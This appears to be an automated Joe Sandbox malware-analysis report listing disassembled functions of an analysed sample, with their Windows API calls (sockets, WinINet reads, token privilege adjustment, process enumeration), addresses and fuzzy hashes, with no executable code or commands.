Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 2c7971954fa363377436281d6d6285f0b3dbfc4c3197dde2a040404ba2fe08a3
Instruction ID: 4444c0580616517d7a07dcaacda780d7a7c287ba6f1a917a492e73d723f48288
Opcode Fuzzy Hash: 2c7971954fa363377436281d6d6285f0b3dbfc4c3197dde2a040404ba2fe08a3
Instruction Fuzzy Hash: C50290B1A00209DFCF14DF65D981AAE7BF5FF45300F148069E80AEB296EB75DA50CB91

Function 00091287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00092612: GetWindowLongW.USER32(?,000000EB), ref: 00092623

DefDlgProcW.USER32(?,?,?,?,?), ref: 000919FA
GetSysColor.USER32(0000000F), ref: 00091A4E
SetBkColor.GDI32(?,00000000), ref: 00091A61

Part of subcall function 00091290: DefDlgProcW.USER32(?,00000020,?), ref: 000912D8

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 1855f11eee17dabf05df573e6b3bdbe6933ee6a5508a2a480c1821493d197e52
Instruction ID: 55f338b8547f03110b1e818d0c67ec1fae0eea931ec990d9785dcf1d9e477bd4
Opcode Fuzzy Hash: 1855f11eee17dabf05df573e6b3bdbe6933ee6a5508a2a480c1821493d197e52
Instruction Fuzzy Hash: 4FA15470306546BAEF78AB299C59EFF39DEDB4A342F14011EF502D6592CB209D41B2B3

Function 00106747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00107D8B: inet_addr.WSOCK32(00000000), ref: 00107DB6

socket.WSOCK32(00000002,00000002,00000011), ref: 0010679E
WSAGetLastError.WSOCK32(00000000), ref: 001067C7
bind.WSOCK32(00000000,?,00000010), ref: 00106800
WSAGetLastError.WSOCK32(00000000), ref: 0010680D
closesocket.WSOCK32(00000000), ref: 00106821

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: d8f9e4fc8fb799a87646887f66a90631af4fcd8aa0cb500e20a17363c7098a8a
Instruction ID: 5522762a5e26e10529d4d8a8d36d47fa1292bf1d29b0a0f2a828f6894c5462e3
Opcode Fuzzy Hash: d8f9e4fc8fb799a87646887f66a90631af4fcd8aa0cb500e20a17363c7098a8a
Instruction Fuzzy Hash: 4041B075A00210AFDF14AF688C86FBE77A8DB45714F04845CF959AB3D3DB709D019BA2

Function 00115376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 001153C5
IsWindowEnabled.USER32 ref: 001153D3
GetForegroundWindow.USER32(?,?,00000001), ref: 001153E0
IsIconic.USER32 ref: 001153EE
IsZoomed.USER32 ref: 001153FC

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 1ea2e635f8a1ac9a007bec93a06eee0ec86ef6cceceb63f2a4cf5c3b465799ae
Instruction ID: 54da63c29ef287cc9992736b12b2354e2b3ec872b87cec369ef4749abe51e7b6
Opcode Fuzzy Hash: 1ea2e635f8a1ac9a007bec93a06eee0ec86ef6cceceb63f2a4cf5c3b465799ae
Instruction Fuzzy Hash: 2211B231710911AFDB295F269C44AEFBB9AFF847A1B41803DF855D3252DB709C82C6A0

Function 000E80A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 000E80C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 000E80CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 000E80D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 000E80E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 000E80F6

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: c38fcb9267c03eed3441dbafd771d1a2572909c84e62559bb3f73f01f5eb8f4f
Instruction ID: b3b44c18d98c3459f1c73b8ebbacfe964bf082e712b1a31b70c625df3bbfa7e2
Opcode Fuzzy Hash: c38fcb9267c03eed3441dbafd771d1a2572909c84e62559bb3f73f01f5eb8f4f
Instruction Fuzzy Hash: 31F0C274240204BFEB104FA5EC8CEA73BADFF49754B108029F909D2160CB609D82DB60

Function 000FC397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 000FC432
CoCreateInstance.OLE32(00122D6C,00000000,00000001,00122BDC,?), ref: 000FC44A

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

CoUninitialize.OLE32 ref: 000FC6B7

Strings

.lnk, xrefs: 000FC3C6, 000FC3EE, 000FC3F8

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 93e70e5f3631f42e743d658be6ebe6e9f4fc3a353bf682ce026d636de884b837
Instruction ID: 551b1c61bfb948381319c11ce01c7ba82c5af2778f411cc05efe2cbd6d27c102
Opcode Fuzzy Hash: 93e70e5f3631f42e743d658be6ebe6e9f4fc3a353bf682ce026d636de884b837
Instruction Fuzzy Hash: 92A12B71108205AFD700EF64C891EAFB7E8FF95354F00491CF1959B1A2EB71EA49CB62

Function 00094B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00094AD0), ref: 00094B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00094B57

Strings

kernel32.dll, xrefs: 00094B40
GetNativeSystemInfo, xrefs: 00094B51

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 3389355b3ba94469d1a83b45f67b53b726485eaeb31d43ee03e4d8699f825e4b
Instruction ID: f5f142fa5b99af4922155ed7e9ac9477ac75b681f1e4244c5b39405961819cf2
Opcode Fuzzy Hash: 3389355b3ba94469d1a83b45f67b53b726485eaeb31d43ee03e4d8699f825e4b
Instruction Fuzzy Hash: EBD05E34A14713DFDB249F32ED28F8676E4AF053A5B12C83ED48AD6550E774E8C2CA58

Function 0010EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0010EE3D
Process32FirstW.KERNEL32(00000000,?), ref: 0010EE4B

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Process32NextW.KERNEL32(00000000,?), ref: 0010EF0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0010EF1A

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 9382f6a74ce0a1e3966af516a7262f708bc949015775eeb3037f389e2ecb686a
Instruction ID: 40b192d086d9fc154d1a996ffd1c8304e4024159762abddaed90daa1babe194d
Opcode Fuzzy Hash: 9382f6a74ce0a1e3966af516a7262f708bc949015775eeb3037f389e2ecb686a
Instruction Fuzzy Hash: 7D519E71504311AFD710EF24CC86EABB7E8EF94710F40482DF995972A2EB70E909CB92

Function 000EE616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 000EE628

Strings

|, xrefs: 000EE658
(, xrefs: 000EE66E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 2252bf5b4871916893b8d83bf52768c1d44efd284fea3ffbeee25aeed16ad6be
Instruction ID: d91887b1559bc819bb612c9e0ecc296aeb9f85635ae672ad2b2097cc50b94c32
Opcode Fuzzy Hash: 2252bf5b4871916893b8d83bf52768c1d44efd284fea3ffbeee25aeed16ad6be
Instruction Fuzzy Hash: 03323675A047459FD728CF19C4819AAB7F1FF48320B15C46EE89ADB3A2E770E941CB40

Function 001022EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0010180A,00000000), ref: 001023E1
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00102418

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: ed41b5cfc1862cf58f75d1de2b47bed1edb88730715ea0ebd5756dbe25734412
Instruction ID: 1cb4a7548b6621a4fb51b0bd5abbb409507bd40986d8fe56cf7b9007084859df
Opcode Fuzzy Hash: ed41b5cfc1862cf58f75d1de2b47bed1edb88730715ea0ebd5756dbe25734412
Instruction Fuzzy Hash: 8441D371A04209BFEB209E95DC89EFFB7ACEB44714F10406AF685A61C1DBF49E419650

Function 000FB333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 000FB343
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 000FB39D
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 000FB3EA

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: bdb44dfcd40dcfaee0690714f1c4e8effc9c701523ac1a736dd0a49797b78234
Instruction ID: 3b3a7c0714954bb43e8becbd71eda51833e1f6c9cd8803d027e43ac4ec54f4a9
Opcode Fuzzy Hash: bdb44dfcd40dcfaee0690714f1c4e8effc9c701523ac1a736dd0a49797b78234
Instruction Fuzzy Hash: 8F215135A00508EFCB00DFA5D881AEEBBF8FF49310F1480A9E905AB351DB319955DB50

Function 000E87E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 000B0DB6: std::exception::exception.LIBCMT ref: 000B0DEC
Part of subcall function 000B0DB6: __CxxThrowException@8.LIBCMT ref: 000B0E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 000E882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 000E8858
GetLastError.KERNEL32 ref: 000E8865

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: ff901543f02aed1bd4d5c20488e7ab82d0fdec0584d6bf9e9654b23f03d274c3
Instruction ID: 049601efb1730919b6123ac86da4bd73811f73a06aa507a0eb56fadd85172f65
Opcode Fuzzy Hash: ff901543f02aed1bd4d5c20488e7ab82d0fdec0584d6bf9e9654b23f03d274c3
Instruction Fuzzy Hash: A5119DB2414205AFE718DFA4DD85DABB7E9EB04310B20C52EF85993651EE30AC418B60

Function 000E874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 000E8774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 000E878B
FreeSid.ADVAPI32(?), ref: 000E879B

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: f9e177dd79f4597d9e657a65eadbc43f86344f6bcaacb5ce937ba4cefd3ff81c
Instruction ID: e75964147410c51af2c8cd691c296c17694a571bea89c47f59e2e4e7aae83262
Opcode Fuzzy Hash: f9e177dd79f4597d9e657a65eadbc43f86344f6bcaacb5ce937ba4cefd3ff81c
Instruction Fuzzy Hash: 04F04975A1130CBFDF04DFF4DD89AEEBBBDEF08211F1084A9A901E2591E6716A448B50

Function 000FC6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 000FC6FB
FindClose.KERNEL32(00000000), ref: 000FC72B

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 6151039436847457eb69f149661c9a83a5f956312dc4fca1e4be123ca77d11cf
Instruction ID: 8d037c1f3375b73b80f32cff0eaf1ca40703510573e263c14f571cc05f781f29
Opcode Fuzzy Hash: 6151039436847457eb69f149661c9a83a5f956312dc4fca1e4be123ca77d11cf
Instruction Fuzzy Hash: BC118E726106049FDB10EF29D845A6AF7E9FF85320F00851DF9A9976A1DB30A801DF91

Function 000FA06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00109468,?,0011FB84,?), ref: 000FA097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00109468,?,0011FB84,?), ref: 000FA0A9

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: d7b7e173631661de2c50b107f996154d8cf77ebfe0d2c0ff815213aa4807f9d1
Instruction ID: 86c3af9e02c466413f187fb4f94e1c00c7cf10a18298604e02b1708cf60dd447
Opcode Fuzzy Hash: d7b7e173631661de2c50b107f996154d8cf77ebfe0d2c0ff815213aa4807f9d1
Instruction Fuzzy Hash: 1DF0823521522DABDB219FA4DC48FEE776CFF09361F008169F919D7181DA309940DBA1

Function 000E81CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,000E8309), ref: 000E81E0
CloseHandle.KERNEL32(?,?,000E8309), ref: 000E81F2

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 3847f6e8efac07c666fcc75f3df38c74cc9c32594d6945b9e41402aa3210c8c5
Instruction ID: cac5be76b29f04cf5ec77384f157c018007fd7c97daa31b5e4f5c6ef1089a17c
Opcode Fuzzy Hash: 3847f6e8efac07c666fcc75f3df38c74cc9c32594d6945b9e41402aa3210c8c5
Instruction Fuzzy Hash: 64E0EC72014610AFE7252B61EC09DF77BEEEF04350714C96DF8AA84871DB62AC91DB10

Function 000BA155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,000B8D57,?,?,?,00000001), ref: 000BA15A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 000BA163

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 776d77d9e846f7aef195253c1fd112424c12ccc6828f38ad3f519219446e215c
Instruction ID: 49401c508c9129e7aa304e22ea989c85e407986ba088377d8df3599fd4ff581c
Opcode Fuzzy Hash: 776d77d9e846f7aef195253c1fd112424c12ccc6828f38ad3f519219446e215c
Instruction Fuzzy Hash: 24B09231064208EBCA042B91ED09BC83F68FB44BA2F408024F61D84860EB625492CA91

Function 000BF1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35e8bce39e7fbc0db28f6ffc295c9e8116eef62364cd90b6afc3fb61be07a83f
Instruction ID: c93cfed231382a6f9633833e98197591ceb86a177a7edd26e8cdb315c3c9d21a
Opcode Fuzzy Hash: 35e8bce39e7fbc0db28f6ffc295c9e8116eef62364cd90b6afc3fb61be07a83f
Instruction Fuzzy Hash: CB32D022D29F425DD7639638DC32376A289AFB73C4F15D737E819B6DA6EB2884D34100

Function 000C242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c41ac62c596eda07e326c887fa17049294aed7c662dddc839ee4a6e31e48f1
Instruction ID: b4a0d88d58f6c130acfc8a4b87638ff2d22b6e1da650b1de6336027267f381e4
Opcode Fuzzy Hash: 10c41ac62c596eda07e326c887fa17049294aed7c662dddc839ee4a6e31e48f1
Instruction Fuzzy Hash: B8B1EF20E2AF415ED223A6398835336BA5CBFBB2D5F91D71BFC2670D22EB2185D34141

Function 000F8889 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 000F889B

